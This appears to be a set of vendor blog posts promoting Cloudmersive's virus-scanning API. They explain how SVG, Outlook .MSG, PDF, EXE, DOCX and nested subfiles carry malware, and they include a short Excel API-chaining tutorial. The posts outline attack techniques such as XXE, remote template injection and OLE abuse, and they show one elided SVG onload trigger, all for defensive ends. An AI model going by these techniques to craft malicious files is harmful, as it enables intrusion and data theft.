At first glance, SVG can seem similar ubiquitous binary file types like PNG and JPEG given their apparent overlap in everyday utility. Under the hood, however, SVG files are built quite differently: they’re designed as executable text rather than binary containers.

SVG files are full-blown XML documents, sharing more in common with Open Office formats like MS Word than other image formats like PNG or JPEG. SVG’s XML structure allows for all kinds of risky content to be embedded within the document, including complex threat injections.

SVGs can contain embedded JavaScript, remote resource references, event handlers (e.g., onload, onclick), inline CSS designed to manipulate document object model (DOM) behavior, animations and dynamic effects capable of triggering scripts or exploiting rendering behavior, and malicious XML payloads – like external entity declarations, for example – which can be used in XXE attacks to access local files, exfiltrate data, or perform denial-of-service exploits.

That’s a very wide attack surface for a file format that’s too often uploaded and displayed with minimal scrutiny. This makes SVG an excellent delivery vehicle for client-sides attacks, some of which include:

1. Cross-Site Scripting (XSS): A SVG with embedded JavaScript triggers when the file is viewed in a browser, injecting code into the DOM
2. Phishing: A SVG visually mimics a login screen or form, tricking users into giving an attacker sensitive information
3. Clickjacking: An invisible or misleading click zone is created over web UI elements via SVG layering capabilities
4. Drive-by Attacks: A user loading a malicious SVG (e.g., via image preview) triggers a payload embedded in the file structure

It’s important to emphasize that unlike many other similarly structured formats, SVGs don't need to be downloaded and opened to be dangerous. If a malicious SVG file is rendered in a browser — or even parsed on the backend — it may already be doing damage.

XXE: The Silent Threat Lurking in SVG

SVG’s XML foundation makes it especially effective in XXE (XML External Entity) attacks.

In an SVG-based XXE attack, an attacker crafts an SVG file containing a malicious XML declaration that references external entities (often file paths or URLs). When the file is parsed by a vulnerable XML processor – meaning one which hasn't been securely configured to disable entity expansion – it can leak passwords, application configuration files, and other sensitive information to an attacker, initiate network requests to sensitive internal resources (i.e., server-side request forgery), consume system resources, crash services, and – in extreme cases – execute arbitrary system commands.

These outcomes aren’t new concepts in the modern threat landscape, but many rendering libraries and platforms nevertheless continue to use unsafe default XML parsers – and that contributes to the overall elevated risks associated with SVG files. Malicious SVG uploads can trigger XXE attacks simply from being processed, even if the files in question are never viewed in a browser.

As apparently “harmless” visual assets, SVGs are often overlooked in standard threat models, and they’re too often allowed through perimeter filters or upload forms without the proper checks in place.

Real Examples of SVG Exploits

Some of the most high-profile cases of SVG-based attacks have been “drive-by” attacks, in which users simply opening and viewing a maliciously crafted SVG in a browser triggered a JavaScript payload.

In one attack campaign, threat actors uploaded SVG icons packed with malicious JavaScript which ran automatically when the images were rendered on a page. This allowed them to steal session cookies from victims or inject malicious scripts directly into their admin dashboards.

In another attack campaign, threat actors used SVG files to generate dynamic overlays which closely mimicked login prompts. This allowed them to harvest credentials in phishing-style attacks without ever leaving the victim’s browser.

The SVG files used in both these example campaigns were small and well-formed, which contributed to their bypassing antivirus (AV) and web application firewall (WAF) systems on route to execution.

Why Basic Scanning Doesn’t Catch It

SVG files can’t be treated like other image formats in an AV scanning workflow. This approach won’t reach deep enough into the file structure to identify the full scope of potential threats.

Most legacy AV solutions aren’t adequately equipped to parse and analyze XML structure, detect embedded script behavior, or identify XXE payload patterns within the file. They typically aren’t configured to understand the SVG event model (e.g., onload, script, animate tags) either.

Attackers can and do take advantage of weakly configured AV scanning using obfuscation techniques – such as base64-encoded payloads or nested object groups, for example – to hide malicious functionality within clean-looking files. Even simple event triggers like <svg onload="..."> can bypass naive scanning logic if the scanner doesn’t fully parse the document structure.

Protection against Malicious SVGs with Cloudmersive’s Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API treats SVG files as code, not just as images. It investigates each layer of SVG file structure in the same way it unpacks complex XML-based file types like DOCX, XLSX, PPTX, and others. Key defenses include:

1. Parsing the entire XML structure of the file
2. Blocking or flagging embedded JavaScript or scripting behavior
3. Detecting and neutralizing XXE payloads
4. Preventing remote resource calls and DOM-based exploits
5. Analyzing obfuscated code patterns and event handlers

The Advanced Scan API also includes traditional signature scanning and heuristic analysis, making it capable of catching both known and novel (zero-day) SVG-based attacks. It acts before the file is displayed or parsed by any part of your system, reducing exposure windows and neutralizing threats at the point of upload.

Final Thoughts

SVGs are not just images. They’re code, and code should always be scanned.

They’re fast, flexible, and often underestimated. Their XML foundation, executable capabilities, and trusted status as a common image format make them uniquely attractive to threat actors.

If your system allows SVG uploads without inspecting them for embedded code or malicious structure, you may already be exposed. The Cloudmersive Virus Scan API helps you close that gap — by treating SVGs with the same caution you’d apply to any complex XML-based executable file.

If you’d like to learn more about protecting your system from malicious SVGs with Cloudmersive, please feel free to contact a member of our team.

A File Format Built for Convenience

.MSG files are the native format for saved Outlook email messages. In many enterprise environments, they’re used to preserve important business communications, forward records between departments, and sometimes archive support tickets or client interactions for posterity.

Since .MSG files are familiar, easy to generate, and often implicitly trusted, it’s common that enterprise platforms allow users to upload saved messages to storage without much friction. That’s especially true in legal, HR, and compliance workflows where messaging documentation is often a requirement.

This convenience, however, carries a hidden risk: .MSG files are a commonly overlooked method for malware delivery in enterprise environments.

What’s Inside an .MSG File?

It’s easy to think of PDFs and DOCX files as complex “documents” and relegate .MSG files to “basic text containers” – but that’s a mistake.

Much like the other complex document formats used in enterprise environments, .MSG files can carry embedded attachments (e.g. – executables, scripts, macro-enabled files), active links to malicious domains, HTML content (capable of executing in in vulnerable .MSG viewers), spoofed headers, and deceptive metadata (i.e., falsified senders or timestamps, attachment name manipulations, hidden relationships with other message threads, etc.).

The .MSG format stores the message body and all its properties — including the malicious content referenced above. This gives threat actors a layered canvas to obfuscate threats in – and it’s very possible these threats go unnoticed during upload.

Common .MSG-Based Attacks

Threat actors frequently aim to disguise .MSG files as internal emails or invoices so they blend into the target (victim) enterprise environment. They can, for example, label malicious .MSGs with “FWD” or “RE:” to seem conjoined with normal workflows. Emails like these can hide links to credential harvesting sites or obfuscate embedded attachments designed to execute immediately once opened/previewed in the Outlook application.

One case of .MSG-based attack in 2024 involved the distribution of malicious message files through legal file upload portals. In this case, each message included a seemingly benign contract attachment. Inside each attachment were downloader trojans which quietly opened a backdoor in the target enterprise network.

Many of the message files in this case were initially cleared by basic antivirus (AV) tools. The threats were deeply nested and encoded within the .MSG files, making it impossible for a basic signature-based scanning engine to identify them.

Why You Can't Rely on File Extensions or Simple Scanners

Many modern upload filters still operate on basic file-type rules or conventional AV software integrations. When we’re investigating a complex file type like .MSG, neither is enough.

File extension validation only checks the file label — not the actual file contents. If we let .MSG files pass through a file upload portal simply because they “look like emails”, we’re blindly trusting documents that could easily contain full malware payloads or phishing redirects. If we wouldn’t blindly trust PDFs, we shouldn’t trust .MSG either.

Signature-based AV tools, meanwhile, typically fail to unpack the embedded structure of malicious .MSG files or recognize when they contain links to known malicious domains. They’re still effective at rapidly identifying weakly obfuscated threats, but they’re not a comprehensive security solution by any means. Even sandboxing solutions may struggle if the execution trigger lies deep within an attached file inside of an email.

Deep Content Verification with Cloudmersive

The Cloudmersive Advanced Virus Scan API scans .MSG files in a way that addresses what they really are: dynamic, layered documents with embedded behaviors.

For every .MSG file, the Advanced Virus Scan API parses internal structures, uncovering all message components. It then extracts and scans attachments recursively – no matter how many layers deep that goes. All links within the email body (and HTML sections) are rigorously inspected with a special website-scanning component, and all obfuscated payloads – especially those which tend to evade traditional AV tools – are detected.

This isn’t just metadata validation; it’s structural and behavioral analysis designed to uncover deeply hidden threats before the .MSG file ever reaches a sensitive web server or user-accessible file storage location.

In Conclusion: Don’t Assume .MSG = Safety

The key takeaway here: files that “look like emails” aren’t implicitly safe. Outlook message files are more than just text containers — they’re complex, full-fledged documents that can quietly deliver scripts, payloads, and phishing attempts right past our front door the same way PDF and Office documents can.

Given that we live in a world where email is consistently the most-used business tool and the most common cyberattack vector, scanning .MSG files with a basic AV engine just won’t cut it.

If you’re interested in learning more about the Cloudmersive Advanced Virus Scan API capabilities and deployment options, please feel free to contact a member of our team.

The Trusted Document That Shouldn’t Be

PDFs are everywhere—employment contracts, tax forms, boarding passes, invoices. This ubiquitous format was designed to be platform-independent, provide better content security than the more fungible formats offered in MS Office and LibreOffice suites, and maintain a consistent display across devices. Over time, it’s become the standard digital format for business-critical communication.

Unfortunately, however, it’s not all sunshine and roses: PDFs can be weaponized to devastating effect against our enterprise network. Bad actors have learned to manipulate the PDF standard in subtle ways, turning innocent looking forms or reports into launchpads for malware, data theft, or system compromise.
If your enterprise applications accept PDF uploads - which they almost certainly do – you're already in the blast radius.

How PDFs Become a Weapon

One of the great things about PDFs is how simple they seem to the average user. They’re easy to open, read, scroll through, zoom in on, and follow links from. Under the hood, though, they’re very complex, and that complexity opens the door to exploitation.

Attackers most often abuse PDF documents in the following ways:

• Embedded JavaScript: It’s easy to forget that PDFs are designed to be opened and viewed in web browsers – and that means they can execute JavaScript code. With insecure scripts running through our browser, we can fall victim to forced malware downloads, data theft (e.g., stolen clipboard data), or even keyloggers.

• Malicious file attachments: Complex file structures like PDF can carry other complex files inside them. For example, a PDF can carry executables (.EXE on Windows), .DOCX (MS Word), and .ZIP archives – all of which can be unpacked and executed after the malicious PDF is uploaded through a client-side portal.

• Exploit triggers: Sometimes, malicious PDFs aren’t targeting any kind of user interaction at all. Instead, they’re engineered to trigger vulnerabilities in the PDF reader applications which open and access their contents programmatically. If PDF readers aren’t patched to fix software vulnerabilities, motivated threat actors can take advantage and crash our applications from the inside.

• Actionable links and form events: PDFs can carry links that lead directly to malicious servers or trigger some hidden actions in the background of the document. Seemingly innocuous prompts – like “Click here to sign”, for example – can trigger a malicious payload.

• Social engineering within the PDF: Sometimes, the PDF itself doesn’t have any direct malicious links or executable content. They can be designed to look exactly like legitimate bank statements or invoices, attempting to trick us into taking risky next steps outside the document itself. In such cases, it’s up to us to think carefully about whether we can trust the file in question – the signs are usually there if we look closely enough.

Malicious PDFs have a habit of passing through traditional antivirus (AV) and other weakly configured security filters because they tend to look visually identical to clean ones. Obfuscating malicious content in a complex file structure like PDF is relatively straightforward, and the more sophisticated the attacker is, the less likely it is that we’ll notice the specific irregularity hidden within the document.

Attacks in the Wild

PDFs have been used as phishing bait in more high-profile attack campaigns than we can (or really need to) count. A common, everyday scam we might find in our Email spam folder involves a PDF attachment claiming to be a fake invoice or delivery notice, often with embedded JavaScript lurking inside. This script might immediately trigger a credential-stealing site or install remote access trojans (RATs) once the document is opened, or when a specific link within the document is followed.

To offer a slightly more specific, recent example: in 2023, several healthcare and law firms were targeted by malware-laced PDF resumes uploaded via job application portals. Once the PDFs were opened by unsuspecting HR teams, they installed keyloggers in the background and exfiltrated sensitive internal data. There weren’t any macros or visible triggers whatsoever – just invisible automation baked into the document.

Why Signature Scanning Falls Short

Many standard antivirus tools rely too heavily on signature detection – a process which entails comparing file contents to a database of known malware fingerprints. Signature detection has its place in the modern content threat detection landscape, but it’s far too simple of a policy to bypass on its own. Modern attackers are capable of evading signature detection with obfuscated scripts, randomized payloads, and other disguised behaviors that signature databases don’t have the right answers for.

Making matters worse, some PDFs these days are designed to exploit zero-day vulnerabilities in the very tools that scan them. Without some deep content verification or behavior-based inspection, there’s simply no way to trust a PDF upload at face value.

Intelligent Defense with Cloudmersive Advanced Virus Scanning

Cloudmersive’s Advanced Virus Scan API goes far beyond traditional AV checks. For PDF files, it performs embedded script detection, subfile threat detection (unpacking embedded files within the PDF and investigating their contents independently), object-level analysis, malformed content analysis (ensuring the PDF adheres to strict formatting standards), and traditional signature-based virus and malware detection.

This Advanced Scan iteration also lets you configure custom threat rules, which means you can block (or allow) PDFs with specific types of content (e.g., attachments, scripts) outright, or simply quarantine suspicious files for further review.

Final Thoughts

PDFs have a reputation for being safe, familiar, and non-threatening, largely driven by the frequency with which we create or open them for day-to-day work. That’s exactly what makes them dangerous in the hands of attackers.

If your organization accepts PDF uploads, proactive scanning isn’t a nice-to-have—it’s essential. If you’d like to learn more about defending against malicious PDF documents with Cloudmersive, please feel free to contact a member of our team.

EXE executables remain one of the most inherently dangerous (and frequently encountered) file types across digital landscapes.

.EXE files are fundamentally indispensable for running Windows applications, given their ability to execute code directly on the OS – and this functionality positions them as a potent tool for threat actors.

Outcomes of .EXE Attacks

Malicious .EXE files can, upon execution, hand over complete control of a system to an attacker, leading to all kinds of disastrous outcomes.

We’re talking about immediate data theft, deployment of persistent malware (think silent ransomware or keyloggers running in the background), or even the creation of backdoors for future exploitation.

Organizations can’t get around interacting with .EXE files for things like software installation and application usage - and that makes any standard point of .EXE execution a viable and attractive entry point for threat actors.

Understanding How .EXE Files are Exploited

The independent malicious potential of a single .EXE file's execution influences a simple, effective attack strategy: get users within a targeted environment to double-click on malicious payload without thinking twice about it.

It's very common for attackers to bundle malicious .EXE files along with legitimate software downloads. An unsuspecting system user might download that software from an unofficial source, and in their haste inadvertently execute the malicious content in the process.

It’s also very common to find malicious .EXE files distributed via phishing emails. Attackers can save malicious executable files with common, frequently-used-and-trusted extensions that users expect to see – like PDF or JPG, for example - and they can also send .EXEs directly via email which masquerade as critical updates or urgent security patches for business applications.

Regardless of whether attackers are obfuscating malicious executables as legitimate software installers, updates, or within seemingly harmless documents, they typically employ clever social engineering tactics to goad users into “running” the malicious embedded component.

Exploiting File Upload Portals with Malicious .EXEs

File upload portals – especially those designed for sharing multiple different file types – present another significant avenue for the dissemination of malicious .EXE files.

Since most file upload portals won’t accept files with the .EXE extension, attackers will often bury dangerous executables within ZIP archives (and other similar compressed formats). Within the archive, the executable will often hide in plain sight among several legitimate-looking file types. In such cases, attackers are relying on the assumption that their archive file uploads will be trusted and/or automatically processed without a rigorous enough subfile inspection. If that happens, users and automated systems alike are instantly at risk of downloading or inadvertently executing malicious .EXE’s from a trustworthy source.

This risk is particularly pronounced in platforms which allow users to share files externally, or where user-uploaded content moves directly into automated workflows without thorough security vetting.

The Limitations of Standard AV Scanning against .EXE Threats

Traditional AV solutions – meaning those that rely heavily on signature-based detection – often struggle with novel or heavily obfuscated malicious .EXE files.

Why? There's a lot of money in cybercrime - and that means frequent innovation takes place in the field of developing malicious libraries. Attackers constantly develop new malware strains - often faster than signature databases can keep up. Some sophisticated threat actors are capable of evading malware signature matching altogether.

Implementing Robust Policies Against Insecure File Upload

The challenges of identifying malicious executable uploads in web-based scenarios necessitate a shift towards more proactive and content-aware security measures.

That means implementing robust scanning mechanisms directly within the upload pathway, which can involve anything from deploying intelligent reverse proxies at the network edge to fortifying web applications with deep-content inspection policies. For files sitting in cloud storage, implementing server-side virus scanning proxies ensures potential threats (which may have slipped through the cracks) are identified at rest.

These strategic integration points, enable the early identification and blocking of malicious executables that would otherwise bypass traditional signature-based defenses.

360-Degree Protection with Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API is a comprehensive threat detection solution, employing a multifaceted approach to mitigating the risks associated with .EXE files.

Beyond static signature analysis, it utilizes dynamic behavioral analysis in a secure sandbox environment to observe the actions an .EXE file attempts to perform. This allows for the detection of malicious intent even in previously unknown malware.

The API also incorporates deep file analysis, examining the internal structure and code of .EXE files - and archives or other file types which may be obfuscating .EXE files - for suspicious patterns and known exploit techniques.

By combining these advanced techniques with traditional signature-based scanning, the Advanced Scan API offers a robust defense against a wide range of .EXE-based threats. In addition, customizable threat rules allow administrators to define specific risk tolerances and block potentially harmful executables based on their organization's unique security posture.

Conclusion

In a digital landscape where the execution of files is fundamental, the risks associated with .EXE files cannot be ignored. Robust, multilayered protection that goes beyond basic scanning is crucial for safeguarding against increasingly sophisticated attacks.

For expert guidance on leveraging the Advanced Virus Scan API to secure your environment against .EXE-based threats, please do not hesitate to contact our team.

DOCX is one of the most frequently uploaded document types across many of the world's most prominent industries. The versatility DOCX affords makes it an ideal file type for structuring and storing contracts, proposals, resumes, and a wide range of business communication content.

While most DOCX files are harmless, the format can also be hijacked and utilized as highly effective vehicles for cyberattacks.

What's at Stake

A single, specially crafted malicious DOCX file can be used to completely compromise a system, steal sensitive data, or quietly install background malware (e.g., ransomware). Organizations that handle DOCX uploads at any volume— especially HR portals, legal platforms, client onboarding apps, and other routine business functions — must treat these files as critical threat vectors.

How Attackers Exploit DOCX Files

Attackers like exploiting DOCX files because they’re ubiquitous, often implicitly trusted, and structurally complex enough to allow for clever threat obfuscation. DOCX format supports embedded scripts, external links, and objects – all of which possess potent attack potential.

For example, a technique of embedding external resource links in DOCX files — which load malicious payloads from the internet, bypassing a network’s perimeter defenses — allows attackers to trigger infections the moment a document is opened.

Along similar lines, attackers can also insert ActiveX controls or OLE objects into DOCX files as potential vectors for hidden execution triggers - often targeting some specific vulnerability and requiring further user interaction to execute.

Even well-formed DOCX files can be booby-trapped with techniques like document template injection, where the document pulls a malicious template from a remote server and automatically executes embedded code without the user's knowledge.

Beyond these more nuanced techniques, we shouldn't forget that attackers can still leverage the DOCX format as a container to deliver "traditional" executable malware. Malicious EXE files (or other executables) can be embedded within DOCX files as objects - though (mercifully) not directly for automatic execution upon opening. Akin to ActiveX- and OLE-based vectors, attacks of this nature rely on social engineering to trick users into 1) opening a document and 2) double-clicking on the innocuous embedded object, which manually launches the malware payload. This is one of the biggest reasons we can't take for granted that DOCX files sitting in storage are necessarily safe to open.

Why Standard Scanning Isn't Enough

Traditional file scanning tends to focus on basic signature matching or surface-level metadata checks. Unfortunately, as discussed above, modern DOCX attacks tend to employ advanced obfuscation techniques which are more than capable of bypassing simplistic AV engines.

Some attackers are even capable of crafting malformed DOCX files which exploit zero-day parsing vulnerabilities within the scanning engines themselves. Without deep content verification — a robust process in which links and embedded object behaviors are all rigorously analyzed— malicious DOCX files can easily slip past a network’s defenses.

360-Degree Protection with Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API takes a multilayered approach to securing DOCX uploads. It doesn’t just check the surface-level information available in each DOCX file, it analyzes the content for embedded macros, inspects object structures, and follows external links in a secure sandbox to detect hidden threats.

By unpacking the internal XML structure of DOCX files and scanning nested content, it can spot exploits that traditional AV engines tend to miss – yet with customizable threat rules, it can still default to administrator preferences in determining whether risky content should be blocked implicitly.

The API also leverages traditional signature-based scanning methods to catch known malware signatures, ensuring well-rounded threat coverage.

Flexible Advanced Virus Scan API Integration

For developers and IT teams, integrating the Cloudmersive Virus Scan API is straightforward. This process can involve making simple REST API calls with minor code changes to individual web applications, or it can involve no-code integration at strategic file upload and file storage chokepoints (such as network edge and cloud storage proxies) with processing optimized for low-latency, high-volume enterprise environments.

Cloudmersive ensures that DOCX files (and dozens of other document types) are safe to open before they reach end-users or internal systems.

Conclusion

In an age where file uploads are essential but increasingly weaponized, protecting against DOCX-based threats is non-negotiable. For expert advice regarding Cloudmersive Advanced Virus Scan API capabilities, please feel free to contact a member of our team.

Creating a smooth, automated file-processing workflow with efficient memory usage can be a bit challenging. That’s especially true when we’re working with complex files like Excel XLSX documents.

How are Excel files normally handled in programmatic workflows?

Before we call local methods or external APIs to modify Excel file contents in some way, we’ll typically load our Excel files into local memory and store that content in a variable - just like any other data. Handling our files this way is straightforward and simple, but it creates a considerable amount of overhead, stretching our (often limited) resources thin. Complex files tend to occupy a good chunk of space in local memory, and this inherently limits the efficiency of our program.

The inefficiency of the Excel file-loading & file-storage process isn’t a huge problem for small-scale operations (e.g., editing a single Excel file in one quick workflow), but it becomes increasingly significant in large-scale operations (e.g., editing dozens of Excel files over the course of an hour or two). This inefficiency is also greatly magnified when we chain multiple Excel document edits together across a series of unique methods or web API calls; each new iteration of our modified Excel content must be written to a new variable.

How do we circumvent inefficiencies caused by repeatedly assigning file bytes to local memory?

There are a few ways to resolve this inefficiency when we’re dealing with local file processing methods - such as prioritizing working in-memory within certain programming libraries, or assembling batch edit operations where multiple edits are combined in a single method. It is, however, a bit more challenging to solve this problem when we leverage web API calls in place of local method calls.

Web APIs return file content from some external server to our code environment each time they perform their value-add service (in this case, editing an Excel file in some way). But what if they didn’t have to actually return the file? What if they could return a reference to the file instead?

Chaining Excel Edits with Cloudmersive Convert APIs

Many Cloudmersive Convert/Edit/ (EditDocument) APIs solve this overhead issue by using temporary URLs to improve the efficiency of chained document editing actions.

When an Excel file is loaded into memory and passed to the Convert API endpoint (e.g., for operations like inserting or deleting new worksheets & setting the contents of specific cells/rows), that file’s contents are cached on the endpoint server temporarily. For security, this cache is permanently deleted after 30 minutes, and it’s assigned a secure temporary URL for use before the expiration time (e.g., https://tempstash.cloudmersive.com/api/SecureFileManager/DownloadFile/ would be the URL format for Cloudmersive public cloud API calls). The secure temporary URL is returned to the code environment in place of the modified file bytes themselves.

This means we can store the lightweight temporary URL string in a variable in place of the more resource-intensive Excel file bytes. We can pass that URL variable back to the endpoint when we use a subsequent Excel editing API; the endpoint can begin another file-processing operation with the modified Excel content by reaching into the cache with the temporary URL. When we’re ready to finish our document editing workflow, we can simply download the fully modified content from the final temporary URL and write that content to a new Excel XLSX file.

Example: Creating an Excel worksheet & filling in rows/cells

Let’s imagine, for example, that we’re using EditDocument APIs to 1) insert a new worksheet into an Excel document and 2) update cell contents within that worksheet by cell index. We can assume, in this case, that our Convert API endpoint is deployed on Cloudmersive servers locally in our region of the globe.

We would start by calling the /convert/edit/begin-editing document API. After loading our Excel file into memory just one time, we would pass our file content to the begin-editing method. This would cache our Excel content on the endpoint server & return a tempstash.[our API endpoint] URL to our code environment. We would then store this URL in a new variable.

Next, we would call the /convert/edit/xlsx/insert-worksheet API, passing our URL variable to the insert-worksheet method as an “InputFileUrl”: argument within a more complex set of request parameters (see below):

{
  "InputFileBytes": "string",
  "InputFileUrl": "string",
  "WorksheetToInsert": {
    "Path": "string",
    "WorksheetName": "string"
  }
}

We would then store the insert-worksheet response URL as a variable before calling the /convert/edit/xlsx/set-cell/by-index API. We would once again pass our URL variable as an “InputFileUrl”: argument, this time within the set-cell/by-index method parameters (see below):

{
  "InputFileBytes": "string",
  "InputFileUrl": "string",
  "WorksheetToUpdate": {
    "Path": "string",
    "WorksheetName": "string"
  },
  "RowIndex": 0,
  "CellIndex": 0,
  "CellValue": {
    "Path": "string",
    "TextValue": "string",
    "CellIdentifier": "string",
    "StyleIndex": 0,
    "Formula": "string"
  }
}

Finally, we would call the /convert/edit/finish-editing API to download the fully modified Excel file bytes to our code environment. To do that, we would simply pass the set-cell/by-index URL to the finish-editing method as a single “InputFileUrl”: argument (see below):

{
  "InputFileUrl": "string"
}

In seconds, our workflow would return a set of fully modified Excel file bytes. We would simply write the modified content to a new XLSX file (or overwrite the original file). This new file would have a new worksheet with custom cells and rows as defined in our insert-worksheet and set-cell/by-index API calls.

Conclusion

By retaining Excel file bytes on the endpoint server & returning a temporary URL to reference that content, Cloudmersive EditDocument APIs reduce overhead from inefficient local memory usage. This speeds up programs which chain complex document editing actions together in a single workflow.

For expert advice on leveraging Cloudmersive Convert/EditDocument APIs in your file processing workflows, please reach out to a member of our team.

Categorizing Risky Files

When we talk about “risky files” moving in and out of our system, we’re really referring to a broad category of file-related threats. In today’s fast-evolving threat landscape, risky files can bear malicious content ranging from known malware or virus signatures to intentional (or even accidental) file errors capable of exposing zero-day application vulnerabilities, and each can lead to equally devastating outcomes.

Files bearing viruses, for example, are well documented to replicate quickly throughout our system if left unchecked. A seemingly innocuous invalid file, on the other hand, could trigger an as-of-yet unknown memory overflow vulnerability in one of most heavily utilized file processing libraries, leading to sudden, widespread Denial of Service attack against one of our critical applications.

Identifying risky files like these – which are, ultimately, as different as they are equally dangerous – starts with applying different security policies. Viruses, for example, can often be identified by comparing their file signature against known virus & malware “families”, or by utilizing advanced heuristics and other sandboxing methods to predict potentially malicious activity. Risky invalid files can typically only be identified when we verify the file contents to ensure they rigorously conform with their expected file format standards.

Unfortunately, flagging risky files like those described above isn’t always as straightforward as matching a potential threat with an ideal file-scanning solution. Risky files are often layered and obfuscated in clever ways - particularly when they’re created by sophisticated threat actors carrying out targeted attacks (as opposed to spam attacks via email, for example). Obfuscated threats are designed specifically to bypass file scanning policies by tricking them into missing an underlying threat.

Obfuscation via Subfiles

One of the most common modern day threat obfuscation methods involves the use of malicious subfiles. Subfiles are files stored within other files, and they pose as much threat to our network as their parent file – but they’re often overlooked by traditional threat scanning policies. It’s increasingly important to address subfile threats given the complexity of modern file structures (i.e., the ability to store malicious files or link document viewers to malicious payloads).

Subfile Threat Example

We can imagine, for example, that an attacker has crafted an innocuous Microsoft Word (DOCX) file. This file contains several embedded images, and the attacker has used stenographic techniques to hide malicious code within the pixels of one image. The attacker understands that most up-to-date file scanning technologies will look for embedded executable code hidden within image files, but they may never perform that scan if the image subfile isn’t addressed separately from the parent file.

In the structure of a DOCX file, images are stored as independent objects, and that means each image can be extracted and loaded independently from the original document. In this scenario, the attacker expects file scanning policies to check the parent (DOCX) file directly for threats without scanning the image subfile. They expect that the image payload will be executed automatically when the document is opened, or perhaps when the image itself is opened in an image reader by an unsuspecting client.

Subfile Categories

Archives

Archive file types – including ZIP, RAR, DMG, TAR, and others – are designed to store numerous compressed files in a single file. Threat actors can easily hide files containing malware or other dangerous content within archives, taking advantage of archive compression and the presence of numerous additional files to obfuscate their malicious payload. As a result, it’s extremely important to scan through each individual file within any archive before opening it.

Further, overloaded archives – often referred to as “ZIP bombs” in the cybersecurity community – can cause widespread Denial of Service by overloading servers and crashing systems once opened.

Archives with encryption and password-protection measures can also successfully obfuscate malicious files by making their subfile directories completely undetectable by file scanning policies. As a result, it’s best to completely avoid accepting encrypted or password-protected archives from external sources under any circumstances.

OLE (Object Linking & Embedding)

Microsoft Open Office files are structured as archives containing a series of XML specifications for document content, layout, and other details. The OLE feature allows document creators to store images, charts, media files, text frames, form controls, and other such content within Open Office files.

OLE subfiles, including file objects (e.g., images, videos, other Office documents, etc.) and file URLs stored within the Open Office file structure, can initiate malware downloads – or exploit zero-day application vulnerabilities – when the parent files are opened. Threat actors can hide malicious files and links within Open Office files to obfuscate them from file scanning policies.

Malicious files can also be stored within an Open Office archive without being directly embedded within the XML document specifications. It’s relatively straightforward to convert Open Office files to .zip archives, place malicious content within the archive, and then convert the archive back to an Open Office format. This isn’t exactly OLE, and it typically renders the parent file invalid – but it is another way Open Office documents can be used in threat obfuscation.

While OLE has been around for decades, modern file interconnectivity has greatly increased the scale and impact OLE attacks can have. In the last decade, a variety of successful OLE attacks (both targeted and spam email attacks) have been carried out, resulting in ransomware and spyware downloads on servers with extremely sensitive and valuable information.

MSG Files

MSG is a file format Outlook offers to enable the storage of individual email messages outside of Outlook (to be clear, it is NOT the format Outlook uses to send emails from one server to another). MSG files can carry message content, HTML formatting (where relevant), file attachments, links, and other metadata.

MSG files are often used to share email messages outside of Outlook. Because MSG files can store links and attachments, they represent a significant subfile obfuscation attack vector. Each subfile should be identified and scanned before an MSG file enters or leaves a network.

MSG files carrying malicious links (e.g., phishing links or remote malware downloads) and malicious documents (e.g., DOCX files with malicious macros) have been used in successful attacks within the last decade.

Cloudmersive Virus Scan

The Advanced iteration of the Cloudmersive Virus Scan API navigates subfiles and archive directories (i.e., zip files) to scan each layer of a potential threat. Subfiles including images, documents, and URLs are scanned independently of the parent file, and subfiles attributes are returned in the Virus Scan API response body along with the parent file. This prevents threat actors from obfuscating malicious files by abstracting them away from the parent file scan.

For expert advice on properly scanning and detecting malicious subfile content, please reach out to a member of our team.

While modern cloud computing trends have challenged pre-existing definitions of enterprise “network perimeters” (i.e., distributed cloud computing has increased the attack surface of most networks), certain longstanding network edge concepts still remain intact. Namely, it remains true that internet traffic visiting or originating from any given web application server may still be constrained into passing through a network proxy chokepoint before reaching an internal or external server resource.

As such, effective enterprise web application security still depends on the implementation of stringent threat detection policies in proxy servers ahead of web application servers at the network perimeter. Applying security policies strategically at network chokepoints around a web application server significantly increases the likelihood of detecting and mitigating many modern cybersecurity threats, including insecure file uploads and downloads.

File Upload Attack Vector

Among the many different types of threats plaguing modern enterprise networks – including SQLI (SQL injection) attacks, botnet DDoS (distributed denial of service) attacks, MitM (man in the middle) attacks, and others – insecure file upload (and download) is becoming increasingly significant.

Malicious files can reach internal web application servers from direct client-side uploads (e.g., HTML form uploads), and they can exit the internal network in messages originating from the web application server (e.g., B2B document exchange via web-based CRM or ERP). In both scenarios, the enterprise network is responsible for threat detection and mitigation.

Web Application Security Solutions at the Network Perimeter

Proxy servers are commonly deployed as the enterprise network perimeter security solution for web application servers. Reverse and forward proxies are designed to intercept inbound and outbound internet traffic respectively, preventing direct communication between external and internal server resources.

A reverse proxy is typically used for anything from load balancing and SSL termination to the enforcement of access controls and other web traffic filters, while forward proxies are typically used for outbound request caching, anonymity, and blocking access to certain websites (i.e., blacklisting).

Because proxy servers are already designed to intercept internet messages (e.g., HTTP/HTTPS) headed to or from a web application server, they present an ideal location for the deployment of security policies against a variety of content threats, including insecure file upload and download traffic. File bytes encoded within internet messages can be intercepted by a reverse or forward proxy, checked for threats (e.g., malware), and subsequently prevented from entering or exiting a network.

The Internet Content Adaptation Protocol (ICAP) is also used to extend the capabilities of proxy servers. Sitting adjacent to proxy servers, ICAP servers provide select value-add services that lighten the burden placed on proxy servers in an enterprise network. Antivirus scanning and content filtering are two common services offloaded to ICAP servers in high-traffic networks; a proxy server can send file bytes and other content from internet messages to a threat scanning ICAP server and receive a threat detection response in return.

How Proxy Servers and ICAP Servers are Configured for Antivirus Scanning

Traditionally, antivirus scanning architecture in a proxy or ICAP server has involved the deployment of antivirus software directly within the value-add server itself. When antivirus software is deployed directly in a proxy or ICAP server, that server can, under ideal circumstances, accommodate fast processing times and low latency traffic to and from the web application server it’s deployed ahead of.

We might consider an ideal circumstance to be a steady, reliable flow of files falling within a relatively consistent size range. Under such conditions, maintaining a direct path between the message originator and message recipient is advantageous.

Using APIs for Proxy Server and ICAP Server Virus Scanning

Deploying antivirus software directly within proxy or ICAP servers can introduce scalability concerns for modern enterprise networks. Extremely high volumes of traffic – especially file byte traffic involving excessively large file sizes – may overburden existing servers and necessitate the deployment of additional proxy or ICAP servers (which also means multiple iterations of the antivirus software) behind a load balancer.

